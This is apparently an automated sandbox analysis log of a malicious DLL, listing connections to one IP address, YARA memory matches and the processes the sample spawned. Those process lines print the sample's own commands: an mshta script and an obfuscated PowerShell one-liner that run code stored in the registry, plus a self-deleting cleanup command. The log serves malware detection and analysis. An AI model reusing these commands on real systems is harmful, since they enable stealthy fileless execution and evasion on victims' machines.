Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: unknown | TCP traffic detected without corresponding DNS query: 146.70.35.138 |
Source: Yara match | File source: 00000014.00000002.766882377.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.391081269.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001D.00000003.518242223.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.439315042.00000000052AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001D.00000003.518050705.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.491963654.0000000006098000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.436001223.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.438329210.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.391236122.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.390852806.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.390783473.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000014.00000003.513984044.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.390963737.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.391015018.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.390663420.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.391212771.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: Process Memory Space: rundll32.exe PID: 7148, type: MEMORYSTR |
Source: Yara match | File source: Process Memory Space: powershell.exe PID: 6932, type: MEMORYSTR |
Source: Yara match | File source: Process Memory Space: control.exe PID: 6020, type: MEMORYSTR |
Source: Yara match | File source: 3.2.rundll32.exe.4de0000.0.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.5456940.1.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.53aa4a0.0.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.53aa4a0.0.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.4c794a0.10.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.4c794a0.10.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.54294a0.2.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.54294a0.2.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 00000003.00000003.438131198.00000000053AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001D.00000000.517494573.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001D.00000000.515954749.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001D.00000000.516723035.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.438206007.0000000005429000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000014.00000002.766683570.000002DC007F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.566002484.0000000004C79000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000002.568306199.0000000002E80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000002.569427566.000000000512F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000014.00000002.766882377.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.391081269.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001D.00000003.518242223.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.439315042.00000000052AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001D.00000003.518050705.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.491963654.0000000006098000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.436001223.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.438329210.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.391236122.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.390852806.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.390783473.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000014.00000003.513984044.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.390963737.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.391015018.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.390663420.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.391212771.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: Process Memory Space: rundll32.exe PID: 7148, type: MEMORYSTR |
Source: Yara match | File source: Process Memory Space: powershell.exe PID: 6932, type: MEMORYSTR |
Source: Yara match | File source: Process Memory Space: control.exe PID: 6020, type: MEMORYSTR |
Source: Yara match | File source: 3.2.rundll32.exe.4de0000.0.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.5456940.1.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.53aa4a0.0.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.53aa4a0.0.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.4c794a0.10.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.4c794a0.10.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.54294a0.2.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.54294a0.2.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 00000003.00000003.438131198.00000000053AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001D.00000000.517494573.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001D.00000000.515954749.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001D.00000000.516723035.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.438206007.0000000005429000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000014.00000002.766683570.000002DC007F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.566002484.0000000004C79000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000002.568306199.0000000002E80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000002.569427566.000000000512F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 3_2_04DE821C |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 3_2_04DE198A |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 3_2_04DE475F |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC00808C30 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC00803B64 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC007F8D20 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC00816814 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC0080F83C |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC0081A84C |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC0081B7AC |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC007F47E4 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC0080B910 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC00816138 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC007F711C |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC00813248 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC007FC96C |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC0081099C |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC0081C1CC |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC007FD2EC |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC0081833C |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC007F1338 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC007F4338 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC007FA2F8 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC007F1AF4 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC00816C40 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC00808454 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC007F4C54 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC0080D36C |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC0081AB84 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC007FDBAC |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC008043BC |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC00815BD4 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC00818BD8 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC0080FCEC |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC00800500 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC00807D50 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC007FE464 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC0080DC8C |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC0081CCC4 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC0080ADF0 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC00817650 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC0080E578 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC00819708 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC0080BF14 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC00801678 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Code function: 20_2_000002DC007F1F34 |
Source: unknown | Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll" |
Source: C:\Windows\System32\loaddll32.exe | Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll",#1 |
Source: C:\Windows\SysWOW64\cmd.exe | Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll",#1 |
Source: C:\Windows\System32\loaddll32.exe | Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 608 |
Source: C:\Windows\System32\loaddll32.exe | Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 604 |
Source: C:\Windows\System32\loaddll32.exe | Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 612 |
Source: unknown | Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Lpje='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Lpje).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> |
Source: C:\Windows\System32\mshta.exe | Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name wufxrouxe -value gp; new-alias -name atvqcmfj -value iex; atvqcmfj ([System.Text.Encoding]::ASCII.GetString((wufxrouxe "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pkbugtxo\pkbugtxo.cmdline |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESD841.tmp" "c:\Users\user\AppData\Local\Temp\pkbugtxo\CSC26C720E9EBC041F086604EECC7DD3CDD.TMP" |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lboh4mlq\lboh4mlq.cmdline |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESED31.tmp" "c:\Users\user\AppData\Local\Temp\lboh4mlq\CSC3DF21D054A9F4C66BF1FA9CD771B1F79.TMP" |
Source: C:\Windows\SysWOW64\rundll32.exe | Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h |
Source: C:\Windows\explorer.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\HxEWwh74qT.dll |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\PING.EXE ping localhost -n 5 |
Source: C:\Windows\explorer.exe | Process created: C:\Windows\System32\cmd.exe cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user~1\AppData\Local\Temp\5771.bi1" |
Source: C:\Windows\System32\loaddll32.exe | Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll",#1 |
Source: C:\Windows\SysWOW64\cmd.exe | Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll",#1 |
Source: C:\Windows\SysWOW64\rundll32.exe | Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h |
Source: C:\Windows\System32\mshta.exe | Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name wufxrouxe -value gp; new-alias -name atvqcmfj -value iex; atvqcmfj ([System.Text.Encoding]::ASCII.GetString((wufxrouxe "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pkbugtxo\pkbugtxo.cmdline |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lboh4mlq\lboh4mlq.cmdline |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESD841.tmp" "c:\Users\user\AppData\Local\Temp\pkbugtxo\CSC26C720E9EBC041F086604EECC7DD3CDD.TMP" |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESED31.tmp" "c:\Users\user\AppData\Local\Temp\lboh4mlq\CSC3DF21D054A9F4C66BF1FA9CD771B1F79.TMP" |
Source: C:\Windows\explorer.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\HxEWwh74qT.dll |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\PING.EXE ping localhost -n 5 |
Source: Yara match | File source: 00000014.00000002.766882377.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.391081269.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001D.00000003.518242223.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.439315042.00000000052AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001D.00000003.518050705.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.491963654.0000000006098000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.436001223.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.438329210.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.391236122.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.390852806.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.390783473.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000014.00000003.513984044.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.390963737.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.391015018.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.390663420.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.391212771.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: Process Memory Space: rundll32.exe PID: 7148, type: MEMORYSTR |
Source: Yara match | File source: Process Memory Space: powershell.exe PID: 6932, type: MEMORYSTR |
Source: Yara match | File source: Process Memory Space: control.exe PID: 6020, type: MEMORYSTR |
Source: Yara match | File source: 3.2.rundll32.exe.4de0000.0.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.5456940.1.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.53aa4a0.0.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.53aa4a0.0.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.4c794a0.10.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.4c794a0.10.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.54294a0.2.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 3.3.rundll32.exe.54294a0.2.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 00000003.00000003.438131198.00000000053AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001D.00000000.517494573.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001D.00000000.515954749.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001D.00000000.516723035.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.438206007.0000000005429000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000014.00000002.766683570.000002DC007F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000003.566002484.0000000004C79000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000002.568306199.0000000002E80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000003.00000002.569427566.000000000512F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: C:\Windows\SysWOW64\rundll32.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\rundll32.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\rundll32.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\rundll32.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\rundll32.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\rundll32.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\rundll32.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
